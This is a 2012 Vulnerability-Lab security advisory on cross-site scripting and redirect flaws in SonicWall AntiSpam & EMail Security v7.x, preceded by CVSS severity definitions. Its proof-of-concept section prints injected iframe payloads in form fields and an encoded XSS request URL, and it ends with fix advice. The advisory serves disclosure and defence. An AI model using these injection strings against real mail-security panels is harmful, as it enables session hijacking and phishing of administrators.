The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Title:
======
SonicWall AntiSpam & EMail Security v7.x - Multiple Web Vulnerabilities
Date:
=====
2012-01-07
References:
===========
http://www.vulnerability-lab.com/get_content.php?id=58
VL-ID:
=====
58
Introduction:
=============
Spam-, Phishing- und mit Viren infizierte Nachrichten verursachen in Unternehmen weltweit weiterhin groe Schden.
Die Kosten, die durch Produktivittseinbuen, gestohlene Benutzeridentitten und den Missbrauch vertraulicher Daten
entstehen, knnen astronomische Hhen erreichen. SonicWALL Email Security (SES)-Appliances, -Software und -Dienste
stellen eine breite Palette an Anti Spam- und E Mail-Sicherheitslsungen bereit, die den Sicherheitsanforderungen von
Einzelpersonen und von Unternehmen mit 100.000 Mitarbeitern gleichermaen gerecht werden. SonicWALL sorgt dafr, dass
Sie und Ihr Unternehmen E Mail sicher, produktiv und kosteneffizient nutzen knnen
(Copy of the Vendor Homepage: http://www.sonicwall.com/de/Email_Security.html)
Abstract:
=========
Vulnerability-Lab Team discovered multiple Web Vulnerabilities on SonicWalls AntiSpam & EMail Security Appliance Application v7.x.
Report-Timeline:
================
2012-01-07:Public or Non-Public Disclosure
Status:
========
Published
Affected Products:
==================
SonicWall
Product: AntiSpam & EMail Security Appliance Application v7.3.1 & older versions
Exploitation-Technique:
=======================
Remote
Severity:
=========
High
Details:
========
1.1
A persistent input validation vulnerability is detected on SonicWalls AntiSpam & EMail Security Appliance Application v7.3.x.
Remote attackers or low privileged user accounts can manipulate specific application requests via persistent script code inject
& low required user inter action. Successful exploitation can result in session hijacking, persistent context manipulation, application side phishing.
Vulnerable Module(s):
[+] MGMTUser Delegate
1.2
A non-persistent input validation vulnerability is detected on SonicWalls AntiSpam & EMail Security Appliance Application.
Remote attackers can force via high required user inter action client-side requests to steal session data(cookies).
Vulnerable Module(s):
[+] MTA Queue Report
Picture(s):
../ive1.png
1.3
A redirection vulnerability is detected on SonicWalls AntiSpam & EMail Security Appliance Application.
The vulnerability allows an attacker to implement a malicious extern website into the panel website. The redirect is exploitable via direction value.
Vulnerable Module(s):
[+] User Mail View
Picture(s):
../redirect.png
Affected Version(s):
SonicWall AntiSpam & EMail Security Appliance Application - v7.3.x or v7.3.4.5725 & older versions
Typus: AntiSpam & EMail Security Appliance; Comphresive Box; Unified Threat Management Appliance
Proof of Concept:
=================
This vulnerabilities can be exploited by local or remote attackers. For demonstration or reproduce ...
1.1
Code Review(mgmtuser_message.html): Input Validation Vulnerability (Persistent)
<tr valign="top">
<td valign="middle"> <input type="radio" name="dispositionJunk" value="tag" checked="checked" onclick="javascript:document.forms[0].prefixJunk.focus;">
</td><td valign="middle">Tag with <input type="text" name="prefixJunk" size="10" value=">"<iframe src=http://test.de>"
onchange="javascript:document.forms[0].dispositionJunk[2].checked=true;"> added to the subject</td>
</tr></table><BR></td></tr><tr bgcolor="#FFFFFF"><td valign="top"><b>Action for messages marked as <font color="#990000">Likely Spam</font>:</b></td>
<td valign="top"><table width="100%" border="0" cellspacing="1" cellpadding="1"><tr><td width="15"> <input type="radio" name="dispositionMaybe" value="none">
</td><td>Likely Spam blocking off (deliver messages to recipients)</td></tr><tr><td> <input type="radio" name="dispositionMaybe" value="quarantine"></td>
<td>Store in Junk Box and delete after <b>45 days.</b></td></tr><tr>
<td> <input type="radio" name="dispositionMaybe" value="tag" checked="checked" onclick="javascript:document.forms[0].prefixMaybe.focus;">
</td><td>Tag with <input type="text" name="prefixMaybe" size="10" value=">"<iframe src=http://test.de>"
onchange="javascript:document.forms[0].dispositionMaybe[2].checked=true;"> added to the subject</td></tr></table>
Reference(URL):
http://xxx.xxx.com/mgmtuser_delegate.htm
1.2
BUG:IVE - Non Persistent
URL:http://demo.xxx.com/reports_mta_queue_status.html?hostname=greenland%22%3E%3C*
BUG:IVE - Persistent
URL:http://demo.xxx.com/mgmtuser_delegate.html*>
Reference(URL):
http://xxx.com/reports_mta_queue_status.html?hostname=greenland%22%3E%3C...
1.3
Code Review(msg_viewer_user_mail.html): Redirection Vulnerability
<form name="msgMessageStoreViewerForm" method="post" action="/msg_viewer_user_mail.html" id="msgMessageStoreViewerForm">
<input type="hidden" id="messageStoreID" name="messageStoreID" value="shard_20100321/1473108699/JUI"/>
<input type="hidden" id="direction" name="direction" value=">"<INCLUDE OWN SCRIPTCODE HERE!>/>
<input type="hidden" id="preview" name="preview" value="true"/>
<input type="hidden" id="command" name="command"/>
<input type="hidden" id="recipients" name="recipients"/>
<table width="100%" border="0" cellspacing="0" cellpadding="15">
<tr><td><span class="confirmation"></span><table width='100%' border='0' cellspacing='0' cellpadding='4'><tr><td>Processed by: greenland.cdpdemo.local
Reference(URL):
http://xxx.com/msg_viewer_user_mail.html?messageStoreId=shard_20100321/256665421/JUI&direction=
Solution:
=========
1.1
Restrict the input fields via filter or mask & parse the input/output section to patch the persistent script code injection bug.
1.2
Parse the hostname value of the vulnerable module to fix the client side cross site scripting issue.
1.3
Restrict the direction request value to fix the redirection bug.
Risk:
=====
1.1
The security risk of the persistent script code inject vulnerability is estimated as high(-).
1.2
The security risk of the non-persistent vulnerabilities are estimated as medium(-).
1.3
The security risk of the redirection vulnerability is estimated as low(-).
Credits:
========
Vulnerability Research Laboratory - Benjamin Kunz Mejri (Rem0ve)
Disclaimer:
===========
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties,
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation
may not apply. Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability-
Lab. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of
other media, are reserved by Vulnerability-Lab or its suppliers.
Copyright 2011|Vulnerability-Lab